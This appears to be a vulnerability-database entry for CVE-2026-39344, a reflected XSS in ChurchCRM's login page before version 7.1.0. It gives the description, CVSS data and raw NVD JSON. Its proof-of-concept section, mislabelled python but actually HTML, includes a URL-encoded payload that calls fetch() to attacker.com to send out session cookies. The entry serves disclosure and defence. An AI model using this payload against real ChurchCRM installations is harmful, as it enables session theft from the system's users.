CVE-2026-39344

Description

ChurchCRM is an open-source church management system. Prior to 7.1.0, there is a Reflected Cross-Site Scripting (XSS) vulnerability on the login page, which is caused by the lack of sanitization or encoding of the username parameter received from the URL. The username parameter value is directly displayed in the login page input element without filter, allowing attackers to insert malicious JavaScript scripts. If successful, script can be executed on the client side, potentially stealing sensitive data such as session cookies or replacing the display to show the attacker's login form. This vulnerability is fixed in 7.1.0.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE

ChurchCRM < 7.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for Reflected XSS in ChurchCRM -->
<!-- Usage: Access the login page with the username parameter containing the payload -->
<!-- Example URL: http://target/login.php?username="><script>alert(document.cookie)</script> -->

<html>
<body>
  <h3>Vulnerable Endpoint Test</h3>
  <p>The application reflects the 'username' parameter without sanitization in the login form.</p>
  <a href="http://target-domain.com/login.php?username=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E">
    Click to Trigger XSS (Alert)
  </a>
  <br><br>
  <p>Stealing Cookie Payload:</p>
  <a href="http://target-domain.com/login.php?username=%22%3E%3Cscript%3Efetch%28%27http%3A%2F%2Fattacker.com%2F%3Fc%3D%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E">
    Click to Steal Cookie
  </a>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39344
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39344
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39344/
[4] VulDB https://vuldb.com/cve/CVE-2026-39344
[5] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-rx8c-j7x8-w3hj
[6] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-rx8c-j7x8-w3hj

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39344", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:46.587", "lastModified": "2026-04-09T18:42:28.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, there is a Reflected Cross-Site Scripting (XSS) vulnerability on the login page, which is caused by the lack of sanitization or encoding of the username parameter received from the URL. The username parameter value is directly displayed in the login page input element without filter, allowing attackers to insert malicious JavaScript scripts. If successful, script can be executed on the client side, potentially stealing sensitive data such as session cookies or replacing the display to show the attacker's login form. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-rx8c-j7x8-w3hj", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-rx8c-j7x8-w3hj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}]}}